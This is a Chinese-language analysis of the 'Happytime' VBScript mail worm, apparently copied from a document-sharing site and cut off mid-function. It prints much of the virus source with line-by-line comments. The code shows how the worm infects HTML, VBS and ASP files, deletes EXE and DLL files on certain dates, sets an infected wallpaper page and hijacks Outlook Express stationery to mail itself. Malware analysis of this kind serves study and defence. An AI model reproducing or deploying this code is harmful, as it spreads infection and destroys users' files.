欢乐时光代码分析.docx
《欢乐时光代码分析.docx》由会员分享，可在线阅读，更多相关《欢乐时光代码分析.docx（16页珍藏版）》请在冰点文库上搜索。
欢乐时光代码分析
欢乐时光代码分析
作者：
billlai整理日期：
2004年6月15日
***************欢乐时光***************
RemIamsorry!
happytime
OnErrorResumeNext
Mload
'以上为病毒入口，并加上Iamsorry!
happytime的注释，以表明此文件已被感染过。
Submload（）
OnErrorResumeNext
mPath=Grf（）
SetOs=CreateObject（"Scriptlet.TypeLib"）
SetOh=CreateObject（"Shell.Application"）
'建立枚举对象，避开了安全审核
IfIsHTMLThen
'调用IsHtml函数，如果是Html，就小写……
mURL=LCase（document.Location）
IfmPath=""Then
Os.Reset
Os.Path="C:
\Help.htm"
Os.Doc=Lhtml（）
Os.Write（）
'如果mPath为空，就在C盘下生成Help.htm
Ihtml=""
'超文本的内容，并指向C:
\Help.Htm
Calldocument.Body.insertAdjacentHTML（"AfterBegin",Ihtml）
Else
IfIv（mPath,"Help.vbs"）Then
setInterval"Rt（）",10000
Else
m="hta"
IfLCase（m）=Right（mURL,Len（m））Then
id=setTimeout（"mclose（）",1）
'设置超时条件
main
Else
Os.Reset（）
Os.Path=mPath&"\"&"Help.hta"
Os.Doc=Lhtml（）
Os.write（）
IvmPath,"Help.hta"
'生成Help.hta
EndIf
EndIf
EndIf
Else
Main
'都不是，就执行main函数
EndIf
EndSub
'******************************************************************
'以下为主函数，太长了！
Submain（）
OnErrorResumeNext
SetOf=CreateObject（"Scripting.FileSystemObject"）
'不用说，创建FileSystemObject对象啦
SetOd=CreateObject（"Scripting.Dictionary"）
'创建Dictionary对象,用来保存数据键和项目对，它实际上是一个比较开放的数组
Od.Add"html","1100"
Od.Add"vbs","0100"
Od.Add"htm","1100"
Od.Add"asp","0010"
'向Dictionary对象添加要感染的项目对
Ks="HKEY_CURRENT_USER\Software\"
'使用变量以减少代码长度
Ds=Grf（）
Cs=Gsf（）
IfIsVbsThen
'如果是VBS
IfOf.FileExists（"C:
\help.htm"）Then
Of.DeleteFile（"C:
\help.htm"）
'如果c:
\help.htm存在，就删掉，消灭遗留的痕迹
EndIf
Key=CInt（Month（Date）+Day（Date））
IfKey=13Then
'如果月与日之和为13（这也是它变种多的原因——将13改为其他数字即可）
Od.RemoveAll
Od.Add"exe","0001"
Od.Add"dll","0001"
'就清空Dictionary数组，并将exe、dll加入Dictionary对象，以备删除之用
EndIf
Cn=Rg（Ks&"Help\Count"）
'读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
IfCn=""Then
Cn=1
'如果Count为0，就设为1
EndIf
RwKs&"Help\Count",Cn+1
'添加HKEY_CURRENT_USER\Software\Help\Count键值，值为2
f1=Rg（Ks&"Help\FileName"）
'再读HKEY_CURRENT_USER\Software\Help\FileName键值
f2=FNext（Of,Od,f1）
'得到该文件的文件名
fext=GetExt（Of,Od,f2）
'得到该文件扩展名的代号
RwKs&"Help\FileName",f2
'添加键值
IfIsDel（fext）Then
'如果扩展名代号的第四个字符为1——即0001（exe、dll）
f3=f2
'储存文件名
f2=FNext（Of,Od,f2）
'得到文件的文件名？
RwKs&"Help\FileName",f2
'写注册表
Of.DeleteFilef3
'删除文件
Else
IfLCase（WScript.ScriptFullname）<>LCase（f2）Then
'如果不是集合中的文件
FwOf,f2,fext
EndIf
EndIf
If（CInt（Cn）Mod366）=0Then
If（CInt（Second（Time））Mod2）=0Then
'使用Cint函数强制执行转换，并发邮件
Tsend
Else
adds=Og
Msend（adds）
EndIf
EndIf
wp=Rg（"HKEY_CURRENT_USER\ControlPanel\desktop\wallPaper"）
IfRg（Ks&"Help\wallPaper"）<>wpOrwp=""Then
'比较桌面墙纸是否已改变
Ifwp=""Then
n1=""
n3=Cs&"\Help.htm"
Else
mP=Of.GetFile（wp）.ParentFolder
n1=Of.GetFileName（wp）
n2=Of.GetBaseName（wp）
n3=Cs&"\"&n2&".htm"
EndIf
Setpfc=Of.CreateTextFile（n3,True）
mt=Sa（"1100"）
'创建超文本
pfc.Write"<"&"HTML><"&"bodybgcolor='#007f7f'background='"&n1&"'><
"&"/Body><"&"/HTML>"&mt
'超文本的内容
pfc.Close
RwKs&"Help\wallPaper",n3
Rw"HKEY_CURRENT_USER\ControlPanel\desktop\wallPaper",n3
'将带毒的超文本设置成活动桌面
EndIf
Else
Setfc=Of.CreateTextFile（Ds&"\Help.vbs",True）
fc.WriteSa（"0100"）
'创建vbs文件
fc.Close
bf=Cs&"\Untitled.htm"
Setfc2=Of.CreateTextFile（bf,True）
fc2.WriteLhtml
fc2.Close
'创建windows下的untitled.htm
oeid=Rg（"HKEY_CURRENT_USER\Identities\DefaultUserID"）
oe="HKEY_CURRENT_USER\Identities\"&oeid&"\Software\Microsoft\OutlookE
xpress\5.0\Mail"
MSH=oe&"\MessageSendHTML"
CUS=oe&"\ComposeUseStationery"
SN=oe&"\StationeryName"
RwMSH,1
RwCUS,1
RwSN,bf
'在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼OutlookExpress＼5.0＼Mail下添加三个键值MessageSendHTML、ComposeUseStationery和StationeryName，前两个的值为1，后一个指向windows\untitled.htm
Web=Cs&"\WEB"
Setgf=Of.GetFolder（Web）.Files
'得到windows\web文件夹里的文件
Od.Add"htt","1100"
'向Dictionary里添加htt项目对
ForEachmIngf
'遍历windows\web下的每一个文件
fext=GetExt（Of,Od,m）
'得到每个文件的扩展名
Iffext<>""Then
'如果扩展名不为空，则
FwOf,m,fext
EndIf
Next
EndIf
EndSub
'******************************************************************
Submclose（）
document.Write"<"&"title>Iamsorry!
'写入Iamsorry,并关闭。
以此作为感染与否的标记
window.Close
EndSub
'******************************************************************
SubFw（Of,S,n）
'此时S为文件名，n为文件扩展名
Dimfc,fc2,m,mmail,mt
OnErrorResumeNext
Setfc=Of.OpenTextFile（S,1）
'只读模式打开该文件
mt=fc.ReadAll
'读入全部文件流
fc.Close
'关闭文件
IfNotSc（mt）Then
'如果未感染过
mmail=Ml（mt）
mt=Sa（n）
Setfc2=Of.OpenTextFile（S,8）
'打开文件并在文件末尾进行写操作
fc2.Writemt
fc2.Close
Msend（mmail）
'发带毒邮件
EndIf
EndSub
'******************************************************************
FunctionSc（S）
mN="RemIamsorry!
happytime"
IfInStr（S,mN）>0Then
'如果读入的文件流中有RemIamsorry!
happytime
Sc=True
Else
Sc=False
'表示已感染过，返回True,否则为False
EndIf
EndFunction
'******************************************************************
FunctionFNext（Of,Od,S）
Dimfpath,fname,fext,T,gf
OnErrorResumeNext
fname=""
T=False
'初始化变量
IfOf.FileExists（S）Then
'如果S存在于当前文件夹中
fpath=Of.GetFile（S）.ParentFolder
'得到文件的父目录名
fname=S
'得到文件名
ElseIfOf.FolderExists（S）Then
'不存在于当前文件夹中，则得到目录名
fpath=S
T=True
Else
fpath=Dnext（Of,""）
'得到当前盘符——即根目录
EndIf
DoWhileTrue
Setgf=Of.GetFolder（fpath）.Files
'得到当前目录下的所有文件对象
ForEachmIngf
'遍历每个文件
IfTThen
IfGetExt（Of,Od,m）<>""Then
'如果该文件是文件集合中的一员
FNext=m
'则返回该文件名，供调用的函数或过程使用——感染或删除之
ExitFunction
EndIf
ElseIfLCase（m）=LCase（fname）Orfname=""Then
'如果没文件
T=True
EndIf
Next
fpath=Pnext（Of,fpath）'
Loop
EndFunction
'******************************************************************
FunctionPnext（Of,S）
OnErrorResumeNext
DimPpath,Npath,gp,pn,T,m
T=False
IfOf.FolderExists（S）Then
'如果如果指定的文件夹存在
Setgp=Of.GetFolder（S）.SubFolders
'就得到子目录数
pn=gp.Count
Ifpn=0Then
'如果没子目录
Ppath=LCase（S）'
Npath=LCase（Of.GetParentFolderName（S））
'得到父目录的小写形式
T=True
Else
Npath=LCase（S）
'有子目录，得到其小写形式的集合
EndIf
DoWhileNotEr'
ForEachpnInOf.GetFolder（Npath）.SubFolders
'得到子目录下的子目录
IfTThen
IfPpath=LCase（pn）Then
T=False
EndIf
Else
Pnext=LCase（pn）
ExitFunction
EndIf
Next
T=True
Ppath=LCase（Npath）
'将字符串转化成小写
Npath=Of.GetParentFolderName（Npath）'
IfOf.GetFolder（Ppath）.IsRootFolderThen
'如果是根目录
m=Of.GetDriveName（Ppath）
'就得到分区符
Pnext=Dnext（Of,m）
ExitFunction
EndIf
Loop
EndIf
EndFunction
'******************************************************************
FunctionDnext（Of,S）
Dimdc,n,d,T,m
OnErrorResumeNext
T=False
m=""
Setdc=Of.Drives
'得到所有的驱动器盘符
ForEachdIndc
'遍历每个驱动器
Ifd.DriveType=2Ord.DriveType=3Then
'如果是网络盘或本地盘
IfTThen
Dnext=d
ExitFunction
'如果是False，就返回当前盘，并退出本函数
Else
IfLCase（S）=LCase（d）Then
'如果是True且盘符相同，就令T为True
T=True
EndIf
Ifm=""Then
'如果m为空，就将盘符付给m
m=d
EndIf
EndIf
EndIf
Next
Dnext=m
'返回盘符
EndFunction
'******************************************************************
FunctionGetExt（Of,Od,S）
Dimfext
OnErrorResumeNext
fext=LCase（Of.GetExtensionName（S））
'返回该文件扩展名的小写
GetExt=Od.Item（fext）
'返回Dictionary对象中指定的key对应的item——即0001（exe）等
EndFunction
'******************************************************************
SubRw（k,v）
'写注册表
DimR
OnErrorResumeNext
SetR=CreateObject（"WScript.Shell"）
'创建对象
R.RegWritek,v
EndSub
'******************************************************************
FunctionRg（v）
'读注册表
DimR
OnErrorResumeNext
SetR=CreateObject（"WScript.Shell"）
'创建对象
Rg=R.RegRead（v）
EndFunction
'******************************************************************
FunctionIsVbs（）
'此函数判断是不是VBS文件
DimErrTest
OnErrorResumeNext
ErrTest=WScript.ScriptFullname
IfErrThen
'如果出错，则不是VBS
IsVbs=False
Else
IsVbs=True
EndIf
EndFunction
'******************************************************************
FunctionIsHTML（）
'此函数判断是不是Html文件
DimErrTest
OnErrorResumeNext
ErrTest=document.Location
IfErThen
IsHTML=False
'如果出错，则不是超文本
Else
IsHTML=True
EndIf
EndFunction
'******************************************************************
FunctionIsMail（S）
'此函数判断是不是邮件地址
Dimm1,m2
IsMail=False
IfInStr（S,vbCrLf）=0Then
'返回vbCrLf在S中第一次出现的位置,vbCrLf是换行符
m1=InStr（S,"@"）
m2=InStr（S,"."）
Ifm1<>0Andm1'如果有“@”符号且“@”在“."之前，则是邮件地址
IsMail=True
EndIf
EndIf
EndFunction
'******************************************************************
FunctionGsf（）
'得到windows目录
DimOf,m
OnErrorResumeNext
SetOf=CreateObject（"Scripting.FileSystemObject"）
'创建FileSystemObject对象
m=Of.GetSpecialFolder（0）
'得到特殊目录——Windows、System和Temp目录
IfErThen
'如果失败，返回C:
\
Gsf="C:
\"
Else
'若正常，则返回%Windows%
Gsf=m
EndIf
EndFunction
'******************************************************************
FunctionLhtml（）
'写入超文本的内容，其中vbCrLf是换行符
Lhtml="<"&"HTML"&">"<"&"Title>Help"<"&"Body>"&Lscript（Lvbs（））&vbCrLf&_
"<"&"/Body>EndFunction
'******************************************************************
FunctionLscript（S）
'写入vbscript的声明
Lscript="<"&"scriptlanguage='VBScript'>"&vbCrLf&_
S&"<"&"/script"&">"
EndFunction
'******************************************************************
FunctionSl（S1,S2,n）
Diml1,l2,l3,i
l1=Len（S1）
'得到文件流的长度
l2=Len（S2）
'得到mailto:
的长度
i=InStr（S1,S2）
'在文件流中查找mailto:
第一次出现的位置——值为一个数
Ifi>0Then
'找到则进行字符串操作
l3=i+l2-1
Ifn=0Then
Sl=Left（S1,i-1）
ElseIfn=1Then
Sl=Right（S1,l1-l3）
EndIf
Else
升级会员 